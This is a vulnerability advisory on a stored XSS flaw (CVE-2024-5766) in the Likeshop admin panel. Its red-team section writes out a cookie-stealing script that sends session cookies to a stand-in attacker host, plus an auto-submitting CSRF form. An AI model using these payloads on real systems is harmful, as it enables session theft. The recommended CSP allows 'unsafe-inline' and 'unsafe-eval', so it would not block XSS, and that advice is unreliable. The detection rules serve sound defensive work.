CVE-2024-5766

Executive Summary

CVE-2024-5766 is a stored cross-site scripting (XSS) vulnerability identified in the Likeshop e-commerce platform, affecting versions up to and including 2.5.7. The flaw resides in the Merchandise Handler component, specifically within the /admin endpoint. An attacker can inject malicious scripts into product-related fields, which are then stored and executed in the browsers of administrators or other users who view the affected merchandise data. The attack is remotely exploitable but requires user interaction (e.g., an admin viewing a crafted product listing). No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not issued a patch. The CVSS score is low (4.3) due to the need for user interaction and the limited impact on confidentiality and integrity.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. Likeshop is a standalone PHP-based e-commerce application. The risk is limited to direct installations of the Likeshop software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to inject the payload.
• User Interaction (UI): Required (R) – The victim must click or view the malicious content.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low to Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a public PoC and the low EPSS score (0.0%) suggest it is not currently being actively exploited in the wild.

Deep Dive & Mechanics

The vulnerability exists in the /admin endpoint of the Merchandise Handler component. The application fails to properly sanitize user-supplied input when creating or editing merchandise items (e.g., product names, descriptions, or custom fields). An attacker with access to the admin panel (or via a CSRF attack) can inject arbitrary JavaScript into these fields.

Attack Flow:

1. Injection: An attacker (or a victim tricked via CSRF) submits a product update with a malicious payload in a vulnerable field, e.g., <script>alert('XSS')</script>.
2. Storage: The payload is stored in the database without sanitization.
3. Trigger: When an administrator or other user views the product listing or detail page, the stored script executes in their browser.
4. Impact: The attacker can steal session cookies, perform actions on behalf of the admin, deface the admin panel, or redirect users to malicious sites.

The root cause is the lack of output encoding or input validation in the Merchandise Handler's admin interface. The application likely uses PHP's $_POST or $_GET directly without functions like htmlspecialchars() or strip_tags().

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common XSS remediation.

Vulnerable Code (PHP example):

// Vulnerable: Direct output without sanitization
echo "<h1>" . $_POST['product_name'] . "</h1>";

Patched Code (PHP example):

// Patched: Output encoding
echo "<h1>" . htmlspecialchars($_POST['product_name'], ENT_QUOTES, 'UTF-8') . "</h1>";

The patched version uses htmlspecialchars() to convert special characters (like <, >, ", ') into their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of Likeshop <= 2.5.7.
• Access to the admin panel (or ability to trick an admin via CSRF).

Step 1: Identify Vulnerable Field Navigate to /admin and locate the product creation/editing form. Test fields like product_name, description, or meta_keywords with a simple payload:

<script>alert('XSS')</script>

Step 2: Inject Payload Submit the form. If the payload is stored and executed when viewing the product, the field is vulnerable.

Step 3: Craft Malicious Payload For session theft:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Step 4: Exploit via CSRF (Optional) Create a malicious HTML page that auto-submits the form:

<html>
<body>
<form action="http://target.com/admin/product/edit" method="POST">
<input type="hidden" name="product_name" value="<script>alert('XSS')</script>">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /admin with script-like content.
• Look for outbound connections to unknown domains from admin browsers.
• Use WAF rules to block common XSS patterns.

Prevention:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Apply input validation and output encoding on all user-supplied data.
• Use CSRF tokens to prevent cross-site request forgery.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing document.cookie in the URL.
  • Suspicious POST requests to /admin with payloads containing <script> tags.
• Host IOCs:
  • Stored XSS payloads in the database (e.g., in products table).
  • Unexpected JavaScript code in product fields.
• Log IOCs:
  • Web server logs showing alert('XSS') or similar patterns in POST data.
  • Admin panel access logs with unusual user-agent strings.

Detection Engineering

YARA Rule

rule Detect_Likeshop_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads in Likeshop admin requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5766"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Suspicious POST Request to Likeshop Admin with XSS Payload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts against Likeshop admin panel
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/*'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in product descriptions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5766 - Likeshop XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Admin Access: Restrict access to the /admin endpoint via IP whitelisting or VPN.
2. Apply WAF Rules: Use a Web Application Firewall to block common XSS patterns.
3. Manual Code Fix: If you have access to the source code, apply output encoding as shown in the patched code example.

Long-Term Fix:

• Upgrade to a patched version of Likeshop once available.
• Implement a Content Security Policy (CSP) header:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
  

• Conduct regular security audits and penetration testing.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to filter malicious requests:

  location /admin {
      if ($request_body ~* "<script") {
          return 403;
      }
  }
  

Valters IT
Securing Digital Frontiers